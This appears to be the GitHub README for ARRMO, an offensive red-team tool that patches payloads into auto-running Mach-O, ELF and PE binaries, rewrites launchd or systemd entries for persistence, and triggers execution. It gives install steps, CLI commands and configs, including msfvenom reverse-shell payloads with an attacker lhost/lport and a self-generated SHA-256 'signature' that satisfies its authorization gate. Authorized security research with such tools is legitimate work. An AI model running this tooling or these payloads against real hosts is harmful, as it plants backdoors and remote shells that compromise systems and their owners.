Skip to content

Repository files navigation

ARRMO 🟡

Automated Red-team Resource MOdifier

Open-source binary-poisoning / red-team persistence research tool.

⚠️ Use only on systems you own or have explicit, written authorization to test. This tool is designed to modify, persist, and execute payloads on a target host.


Table of Contents

  1. What is ARRMO?
  2. How it works (diagram)
  3. Project structure
  4. Quick start
  5. Command reference
  6. Configuration
  7. Safety model
  8. Testing
  9. Docker sandbox
  10. Contributing & license

What is ARRMO?

ARRMO is a Python-based red-team automation framework that:

  1. Scans a host for executable binaries (Mach-O, ELF, PE).
  2. Targets binaries that run automatically via launchd / systemd / cron / scheduled tasks.
  3. Patches a chosen binary with your payload (shellcode, badge, or Metasploit).
  4. Persists by rewriting launchd plists or systemd units.
  5. Triggers execution via launchctl, systemctl, or direct execution.

Think of it as an educational wrapper around ideas from:

  • The Backdoor Factory (binary patching / code caves)
  • Metasploit Framework (msfvenom payloads, reverse shells)
  • LIEF (cross-platform binary parsing)
  • osquery / launchd (discovering auto-running services)

Supported platforms

OS Scan Target Patch Persist Trigger
macOS ✅ (launchd) ✅ Mach-O ✅ launchd plist ✅ launchctl
Linux 🟡 (systemd, cron stubs) ✅ ELF ✅ systemd ✅ systemctl
Windows 🟡 (scheduled tasks stub) ✅ PE ❌ not yet ❌ not yet

✅ = implemented
🟡 = partial / stub
❌ = not yet implemented


How it works

flowchart TB
    subgraph Inputs
        A[auth.json signed authorization]
        B[config.yaml policy]
        C[payload raw / msfvenom / badge]
    end

    subgraph Pipeline
        D[scanner] --> E[targeter]
        E --> F[patcher]
        F --> G[persister]
        G --> H[trigger]
    end

    A --> I[safety gate]
    B --> D
    C --> F
    I --> F
    I --> G

    style D fill:#FFD700
    style E fill:#FFD700
    style F fill:#FFD700
    style G fill:#FFD700
    style H fill:#FFD700
    style I fill:#FF6B6B
Loading

Step-by-step flow

sequenceDiagram
    participant User
    participant CLI as arrmo CLI
    participant Safety as safety gate
    participant Scanner as scanner
    participant Targeter as targeter
    participant Patcher as patcher
    participant Persister as persister
    participant Trigger as trigger

    User->>CLI: arrmo auto --config cfg.yaml --auth-file auth.json
    CLI->>Safety: load auth.json
    Safety-->>CLI: authorized + scope
    CLI->>Scanner: walk filesystem
    Scanner-->>CLI: binaries.json
    CLI->>Targeter: score by launchd/systemd/cron
    Targeter-->>CLI: targets.json
    CLI->>Patcher: patch target (backup + resign)
    Patcher-->>CLI: patched.json
    CLI->>Persister: rewrite launchd plist
    Persister-->>CLI: persisted
    CLI->>Trigger: launchctl kickstart
    Trigger-->>CLI: callback / exit code
Loading

What happens during patching (Mach-O)

flowchart LR
    A[Original Mach-O] --> B{Parse with LIEF}
    B --> C[Find __TEXT segment]
    C --> D[Inject __arrmo section with payload]
    D --> E[Redirect LC_MAIN entrypoint offset]
    E --> F[Strip code signature]
    F --> G[Write hello.arrmo]
    G --> H[codesign --force --deep --sign -]
    H --> I[Poissonned binary ready]
Loading

Project structure

arrmo/
├── arrmo/
│   ├── cli.py                # Click CLI
│   ├── safety.py             # Authorization gate
│   ├── config.py             # YAML config loader
│   ├── scanner/              # Filesystem binary discovery
│   │   ├── identifier.py
│   │   └── walker.py
│   ├── targeter/             # Persistence-value scoring
│   │   ├── launchd.py
│   │   ├── scorer.py
│   │   └── cron.py
│   ├── patcher/              # Mach-O / ELF / PE patcher
│   │   ├── macho.py
│   │   ├── elf.py
│   │   ├── pe.py
│   │   └── payload.py
│   ├── persister/            # launchd / systemd persistence
│   │   ├── darwin.py
│   │   └── linux.py
│   ├── trigger/              # launchctl / systemctl / exec
│   │   └── runner.py
│   └── utils/                # Logging, backups, hashes
├── tests/                    # Pytest suite
├── scripts/
│   └── sandbox_e2e_macos.py  # Destructive macOS E2E in tmp sandbox
├── examples/
│   └── config.macos.yaml     # Sample config
├── Dockerfile
├── docker-compose.yml
├── Makefile
├── pyproject.toml
└── requirements.txt

Quick start

1. Install

git clone https://github.com/damoahdominic/arrmo.git
cd arrmo
python3 -m venv .venv
source .venv/bin/activate
pip install -e .[dev]

2. Create an authorization file

ARRMO refuses destructive operations unless you provide a cryptographically signed authorization file. For development, you can use the SHA-256 self-signature shown below:

python3 - <<'PY'
import hashlib, json
from pathlib import Path

payload = {
    "authorized_by": "Your Name",
    "authorized_on": "2026-07-28",
    "scope": {
        "hosts": ["localhost"],
        "paths": ["/tmp/arrmo_test"],
        "techniques": ["bdf", "launchd_replace"]
    },
    "signature_sha256": ""
}
stripped = {k: v for k, v in payload.items() if k != "signature_sha256"}
payload["signature_sha256"] = hashlib.sha256(
    json.dumps(stripped, sort_keys=True, separators=(",", ":")).encode()
).hexdigest()
Path("auth.json").write_text(json.dumps(payload, indent=2))
PY

3. Create a config

# config.yaml
scanner:
  root_paths:
    - /tmp/arrmo_test
  formats:
    - macho

targeter:
  strategy: launchd

patcher:
  payload:
    type: badge
    marker: /tmp/arrmo_pwned

persister:
  enabled: false

4. Run the pipeline

# Create a sandbox target
mkdir -p /tmp/arrmo_test
echo 'int main(void){return 0;}' | cc -x c - -o /tmp/arrmo_test/hello

# Step-by-step
arrmo scan   --config config.yaml --output binaries.json
arrmo target --config config.yaml --input binaries.json --output targets.json
arrmo patch  --config config.yaml --input targets.json --output patched.json --auth-file auth.json

# Or run everything
arrmo auto --config config.yaml --auth-file auth.json

Command reference

# Top-level options
arrmo --verbose --json-logs <command>

# Available commands
arrmo scan    --config cfg.yaml --output binaries.json
arrmo target  --config cfg.yaml --input binaries.json --output targets.json
arrmo patch   --config cfg.yaml --input targets.json --output patched.json \
              --auth-file auth.json [--dry-run] [--allow-root]
arrmo persist --config cfg.yaml --input patched.json --auth-file auth.json
arrmo trigger --target /path/to/binary [--launchctl-label com.foo.bar]
arrmo auto    --config cfg.yaml --auth-file auth.json [--dry-run]

Configuration

Full sample config:

scanner:
  root_paths:
    - /usr/bin
    - /usr/local/bin
    - /Applications
    - /opt
  exclude_paths:
    - .git
    - node_modules
  max_file_size_mb: 250
  follow_symlinks: false
  formats:
    - macho
    - elf
    - pe

targeter:
  strategy: launchd      # launchd | systemd | cron
  prefer_privileged: true

patcher:
  payload:
    # Option A: raw shellcode file
    type: raw
    file: ./payload.bin

    # Option B: badge marker
    # type: badge
    # marker: /tmp/arrmo_badge

    # Option C: metasploit (requires msfvenom)
    # type: reverse_tcp
    # lhost: 10.0.0.5
    # lport: 4444

  backup_extension: .arrmo.bak
  adhoc_resign: true

persister:
  enabled: true
  method: launchd_replace   # launchd_replace | launchd_new | systemd
  label: com.arrmo.persist

Payload types

Type Description Use case
raw Raw shellcode bytes from file Custom ARM64 / x86 payload
badge Writes a marker file (non-exec) Smoke test / proof-of-patching
reverse_tcp msfvenom -p osx/x64/shell_reverse_tcp Reverse shell callback
reverse_https HTTPS reverse shell Egress-friendly callback

Safety model

ARRMO has multiple guardrails to prevent accidental misuse:

  1. Authorization file — a signed auth.json must exist and declare authorized hosts, paths, and techniques.
  2. Scope checking — the target path must be inside one of the authorized scope paths.
  3. Root protection — destructive commands refuse to run as root unless --allow-root is passed.
  4. Backups — original binaries are backed up before patching.
  5. Ad-hoc re-signing — on macOS, patched binaries are re-signed ad-hoc so the system does not reject them immediately.
  6. SIP awareness — SIP-protected paths (/System, /usr/bin, etc.) receive a large target penalty to avoid accidental modification.
flowchart TD
    A[Patch request] --> B{auth.json exists?}
    B -->|No| Z[Refuse]
    B -->|Yes| C{Signature valid?}
    C -->|No| Z
    C -->|Yes| D{Target in scope?}
    D -->|No| Z
    D -->|Yes| E{Running as root?}
    E -->|Yes| F{--allow-root?}
    F -->|No| Z
    F -->|Yes| G[Proceed]
    E -->|No| G
Loading

Testing

# Local sandboxed tests
make test

# Expected output
tests/test_integration.py::test_macho_patch_changes_entrypoint PASSED

Destructive macOS E2E

This compiles a tiny binary, patches it, and executes it, inside a pytest tmp_path-style temp sandbox.

make test-e2e-macos

Expected output:

--- patched run ---
patched exit code: 42
--- backup run ---
backup exit code: 0

Docker sandbox

make test-docker

Containerized Linux tests can exercise the ELF patcher and safety logic. macOS-specific launchd / codesign tests must run on macOS hardware or VM.


Docker sandbox

docker compose run --rm arrmo-test

The container runs with an unprivileged user and executes pytest -v. You can also use it to run the CLI against Linux ELF targets.


Contributing & license

  • License: BSD-3-Clause (see LICENSE)
  • Contributions: welcome; please include tests and never bypass the safety gate in production code paths.
  • Responsible disclosure: do not use this tool against systems you do not own or have written permission to test.

FAQ

Is ARRMO malware?
No. It is an open-source research / red-team tool with explicit authorization requirements. It is intended for authorized security testing, CTFs, and malware-defense research.

Can it bypass SIP?
No. The current implementation explicitly deprioritizes SIP-protected paths and performs best-effort ad-hoc re-signing. Bypassing SIP or kernel-level protections is out of scope.

Why does the E2E use exit(42)?
It is a safe, architecture-specific proof that the patched entrypoint actually executes attacker-controlled code without harming the host.

About

An offensive security tool that appeared to me in a dream.

Resources

Security policy

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages